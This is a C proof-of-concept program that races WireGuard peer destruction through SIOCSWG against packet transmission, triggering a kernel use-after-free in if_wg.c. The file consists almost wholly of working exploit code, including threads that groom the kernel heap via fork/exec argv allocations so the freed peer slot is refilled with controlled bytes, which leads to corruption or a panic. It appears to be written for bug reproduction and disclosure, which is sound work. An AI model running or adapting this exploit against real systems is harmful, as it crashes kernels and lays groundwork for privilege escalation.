/*
 * DF-0315 - WireGuard wg_peer use-after-free racer.
 *
 * Races the data-plane path wg_output() (triggered by any local user sending
 * a packet routed into the wg interface) against the control-plane path
 * wg_peer_destroy() (triggered by root via SIOCSWG REPLACE_PEERS / WG_PEER_REMOVE).
 *
 * The bug (sys/net/wg/if_wg.c):
 *   - wg_output:2334  peer = wg_aip_lookup(...)        // takes a ref on
 *                                                            peer->p_remote only
 *   - wg_aip_lookup:880  noise_remote_ref(peer->p_remote)
 *   - wg_output:2342..2352  accesses peer->p_endpoint / peer->p_stage_queue /
 *                            wg_peer_send_staged(peer)   // NO sc_lock held
 *   - wg_peer_destroy:692  kfree(peer, M_WG)           // under sc_lock, the
 *                                                          noise_remote refcount
 *                                                          does NOT keep peer alive
 *
 * So a destroy racing the wg_output post-lookup window frees the peer struct
 * while the data plane still dereferences it -> heap UAF.
 *
 * This program is the SIOCSWG (destroy/re-add) side + heap-grooming. It must
 * run as root (SIOCSWG needs SYSCAP_RESTRICTEDROOT, if_wg.c:2671).  The
 * senders below simulate the unprivileged data-plane trigger; in a real
 * attack the senders are an arbitrary local user.
 *
 * Build:  cc -O2 -pthread -o wgrace wgrace.c
 * Run:    ./wgrace [seconds]
 */

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <err.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- inlined WireGuard ioctl ABI (sys/net/wg/if_wg.h) ---- */
#define WG_KEY_SIZE 32
#define WG_PEER_DESCR_SIZE 64

#define SIOCSWG _IOWR('i', 210, struct wg_data_io)

#define WG_PEER_HAS_PUBLIC     (1 << 0)
#define WG_PEER_HAS_PSK        (1 << 1)
#define WG_PEER_HAS_PKA        (1 << 2)
#define WG_PEER_HAS_ENDPOINT   (1 << 3)
#define WG_PEER_REPLACE_AIPS   (1 << 4)
#define WG_PEER_REMOVE         (1 << 5)
#define WG_PEER_UPDATE         (1 << 6)
#define WG_PEER_SET_DESCRIPTION (1 << 7)

#define WG_INTERFACE_HAS_PUBLIC   (1 << 0)
#define WG_INTERFACE_HAS_PRIVATE  (1 << 1)
#define WG_INTERFACE_HAS_PORT     (1 << 2)
#define WG_INTERFACE_HAS_COOKIE   (1 << 3)
#define WG_INTERFACE_REPLACE_PEERS (1 << 4)

struct wg_aip_io {
	sa_family_t a_af;
	int a_cidr;
	union {
		struct in_addr addr_ipv4;
		struct in6_addr addr_ipv6;
	} a_addr;
};
#define a_ipv4 a_addr.addr_ipv4
#define a_ipv6 a_addr.addr_ipv6

struct wg_peer_io {
	int p_flags;
	uint8_t p_public[WG_KEY_SIZE];
	uint8_t p_psk[WG_KEY_SIZE];
	uint16_t p_pka;
	union {
		struct sockaddr sa_sa;
		struct sockaddr_in sa_sin;
		struct sockaddr_in6 sa_sin6;
	} p_endpoint;
	uint64_t p_txbytes;
	uint64_t p_rxbytes;
	struct timespec p_last_handshake;
	uint64_t p_id;
	char p_description[WG_PEER_DESCR_SIZE];
	size_t p_aips_count;
	struct wg_aip_io p_aips[];
};
#define p_sa p_endpoint.sa_sa

struct wg_interface_io {
	int i_flags;
	in_port_t i_port;
	uint32_t i_cookie;
	uint8_t i_public[WG_KEY_SIZE];
	uint8_t i_private[WG_KEY_SIZE];
	size_t i_peers_count;
	struct wg_peer_io i_peers[];
};

struct wg_data_io {
	char wgd_name[IFNAMSIZ];
	size_t wgd_size;
	struct wg_interface_io *wgd_interface;
};

/* ---- test keys (WireGuard RFC test vectors: Alice/Bob) ---- */
static const uint8_t priv_alice[WG_KEY_SIZE] = {
	0x77,0x07,0x6d,0x0a,0x73,0x18,0xa5,0x7d,0x3c,0x16,0xc1,0x72,0x51,0xb2,0x66,0x45,
	0xdf,0x4c,0x2f,0x87,0xeb,0xc0,0x99,0x2a,0xb1,0x77,0xfb,0xa5,0x1d,0xb9,0x2c,0x2a};
static const uint8_t pub_bob[WG_KEY_SIZE] = {
	0xde,0x9e,0xdb,0x7d,0x7b,0x7d,0xc1,0xb4,0xd3,0x5b,0x61,0xc2,0xec,0xe4,0x35,0x37,
	0x3f,0x83,0x43,0xc8,0x5b,0x78,0x67,0x4d,0xed,0xfc,0x7e,0x14,0x65,0x82,0x71,0x58};

#define WGIF "wg0"
#define WG_ADDR "10.66.0.1"
#define WG_PREFIX "24"
#define WG_NET "10.66.0.0"
#define PEER_EP_IP "203.0.113.66"
#define PEER_EP_PORT 51820

static int ctlsock = -1;

/* Issue SIOCSWG on WGIF.  ifc_fl/interface-private + zero-or-one peer. */
static void
wg_set(int ifc_fl, const uint8_t *priv,
       int peer_fl, const uint8_t *peer_pub,
       const char *ep_ip, in_port_t ep_port,
       const char *aip_net, int aip_cidr)
{
	size_t need = sizeof(struct wg_interface_io) +
		      (peer_pub ? (sizeof(struct wg_peer_io) +
				   sizeof(struct wg_aip_io)) : 0);
	struct wg_interface_io *ifc = calloc(1, need);
	struct wg_data_io wgd;

	ifc->i_flags = ifc_fl;
	if (priv) {
		ifc->i_flags |= WG_INTERFACE_HAS_PRIVATE;
		memcpy(ifc->i_private, priv, WG_KEY_SIZE);
	}
	if (peer_pub) {
		struct wg_peer_io *p = &ifc->i_peers[0];
		ifc->i_peers_count = 1;
		p->p_flags = peer_fl | WG_PEER_HAS_PUBLIC;
		memcpy(p->p_public, peer_pub, WG_KEY_SIZE);
		if (ep_ip) {
			p->p_flags |= WG_PEER_HAS_ENDPOINT;
			p->p_endpoint.sa_sin.sin_family = AF_INET;
			p->p_endpoint.sa_sin.sin_port = htons(ep_port);
			inet_pton(AF_INET, ep_ip, &p->p_endpoint.sa_sin.sin_addr);
		}
		p->p_aips_count = 1;
		p->p_aips[0].a_af = AF_INET;
		p->p_aips[0].a_cidr = aip_cidr;
		inet_pton(AF_INET, aip_net, &p->p_aips[0].a_ipv4);
	}

	memset(&wgd, 0, sizeof(wgd));
	strlcpy(wgd.wgd_name, WGIF, sizeof(wgd.wgd_name));
	wgd.wgd_size = need;
	wgd.wgd_interface = ifc;

	if (ioctl(ctlsock, SIOCSWG, &wgd) != 0 && errno != 0)
		/* tolerate benign races (peer already gone etc.); report on stderr */
		fprintf(stderr, "SIOCSWG: %s (ifc_fl=0x%x peer_fl=0x%x)\n",
			strerror(errno), ifc_fl, peer_fl);
	free(ifc);
}

static void
destroy_all(void)
{
	wg_set(WG_INTERFACE_REPLACE_PEERS, priv_alice, 0, NULL, NULL, 0, NULL, 0);
}

static void
readd_peer(void)
{
	const char *ep = getenv("NOEP") ? NULL : PEER_EP_IP;
	wg_set(0, NULL, WG_PEER_REPLACE_AIPS, pub_bob,
	       ep, PEER_EP_PORT, WG_NET, 24);
}

/* ---- sender: unprivileged-style data plane (wg_output trigger) ---- */
static volatile int stop = 0;
static unsigned long send_count = 0;

static void *
sender(void *arg)
{
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		return (NULL);
	struct sockaddr_in dst;
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);	/* discard */
	inet_pton(AF_INET, "10.66.0.5", &dst.sin_addr);
	char buf[64];
	memset(buf, 'A', sizeof(buf));
	unsigned long local = 0;
	int delay = 0;
	const char *d = getenv("SDELAY");
	if (d) delay = atoi(d);
	while (!stop) {
		/* EHOSTUNREACH/ENETUNREACH during the destroyed window are expected */
		if (sendto(s, buf, sizeof(buf), 0,
			   (struct sockaddr *)&dst, sizeof(dst)) >= 0)
			local++;
		if (delay) usleep(delay);
	}
	close(s);
	__atomic_add_fetch(&send_count, local, __ATOMIC_RELAXED);
	return (NULL);
}

/* ---- heap groomer: churn the ~1kB slab bucket so a freed wg_peer slot is
 *        reclaimed with foreign content.  wg_peer (~700B) is in the kmalloc-1024
 *        zone; sizeof(struct pargs)+N (kern_exec.c:602) lands in the SAME zone
 *        for N~700, and the content is the argv text.  So fork/exec with a
 *        ~700-byte argv reclaims freed wg_peer slots with foreign bytes, making
 *        the dangling peer-pointer dereference read garbage -> corruption/panic.
 *        (struct socket / inpcb are in the 512 zone, useless here.) ---- */
static void *
groomer(void *arg)
{
	/* build a ~700-byte argv[1] so the pargs alloc is ~1024-zone */
	static char big[700];
	if (big[0] == 0)
		memset(big, 'G', sizeof(big) - 1);
	unsigned long local = 0;
	while (!stop) {
		pid_t pid = fork();
		if (pid == 0) {
			execl("/usr/bin/true", "true", big, (char *)NULL);
			_exit(0);	/* if exec fails */
		}
		if (pid > 0) {
			int st;
			while (waitpid(pid, &st, 0) < 0 && errno == EINTR)
				;
			local++;
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 20;
	/* NORACE=1 control mode: bring wg0 up + run senders + run groomers, but
	 * do NOT destroy/re-add peers.  Proves the panic is caused by the
	 * destroy<->wg_output race, not by the traffic or socket churn alone.
	 * NOGROOM=1 disables the heap-groomer threads (isolate the raw UAF). */
	int no_race = (getenv("NORACE") != NULL);
	int no_groom = (getenv("NOGROOM") != NULL);
	int nsend = getenv("NSEND") ? atoi(getenv("NSEND")) : 4;
	int ngroom = no_groom ? 0 : (getenv("NGROOM") ? atoi(getenv("NGROOM")) : 4);
	pthread_t th[16];
	int nth = 0;

	ctlsock = socket(AF_INET, SOCK_DGRAM, 0);
	if (ctlsock < 0)
		err(1, "ctl socket");

	/* create wg0 if absent (ignore errors if present). */
	if (system("ifconfig " WGIF " create 2>/dev/null") == -1)
		/* ignore */;

	/* full reconfigure: private key + REPLACE_PEERS + one peer w/ endpoint+aip.
	 * NOEP=1 configures the peer with NO endpoint -> wg_output returns
	 * EHOSTUNREACH (if_wg.c:2346) without staging/sending, so the wg-send
	 * taskqueue path (which has its own independent crash) never runs.  This
	 * isolates the destroy<->wg_output UAF from that separate bug.
	 * NOPRIV=1 omits the interface private key.  With an endpoint set, wg_output
	 * still runs the full wg_peer_send_staged() window (many peer derefs), but
	 * the handshake can never be created (noise_create_initiation fails at
	 * if_wg.c:1499) so wg_send() / the wg-send crash never fires.  This gives a
	 * WIDE UAF window on a STABLE baseline. */
	const char *ep = getenv("NOEP") ? NULL : PEER_EP_IP;
	const uint8_t *pk = getenv("NOPRIV") ? NULL : priv_alice;
	int setup_fl = WG_INTERFACE_REPLACE_PEERS;
	if (pk) setup_fl |= WG_INTERFACE_HAS_PRIVATE;
	wg_set(setup_fl, pk,
	       WG_PEER_REPLACE_AIPS, pub_bob, ep, PEER_EP_PORT,
	       WG_NET, 24);

	/* address + bring up -> installs route 10.66.0.0/24 -> wg0 */
	if (system("ifconfig " WGIF " " WG_ADDR "/" WG_PREFIX " up 2>/dev/null") == -1)
		/* ignore */;

	sleep(1);	/* let the route settle */

	fprintf(stderr, "[*] wg0 up, route " WG_NET "/24 -> " WGIF "\n");
	fprintf(stderr, "[*] racing destroy<->wg_output for %ds "
		"(%d senders, %d groomers)%s\n", secs, nsend, ngroom,
		no_race ? "  [CONTROL: NORACE - no destroy/readd]" : "");

	for (int i = 0; i < nsend; i++)
		pthread_create(&th[nth++], NULL, sender, NULL);
	for (int i = 0; i < ngroom; i++)
		pthread_create(&th[nth++], NULL, groomer, NULL);

	/* destroyer loop: free all peers (kfree(peer)) then re-add.  The freed
	 * peer struct is concurrently dereferenced by in-flight wg_output(). */
	time_t end = time(NULL) + secs;
	unsigned long iter = 0;
	while (time(NULL) < end) {
		if (!no_race) {
			destroy_all();
			readd_peer();
			iter++;
		} else {
			usleep(10000);
		}
	}

	stop = 1;
	for (int i = 0; i < nth; i++)
		pthread_join(th[i], NULL);

	fprintf(stderr, "[*] destroy/readd iterations: %lu, sends: %lu\n",
		iter, send_count);
	fprintf(stderr, "[*] if guest is still up here, no panic this run.\n");
	return 0;
}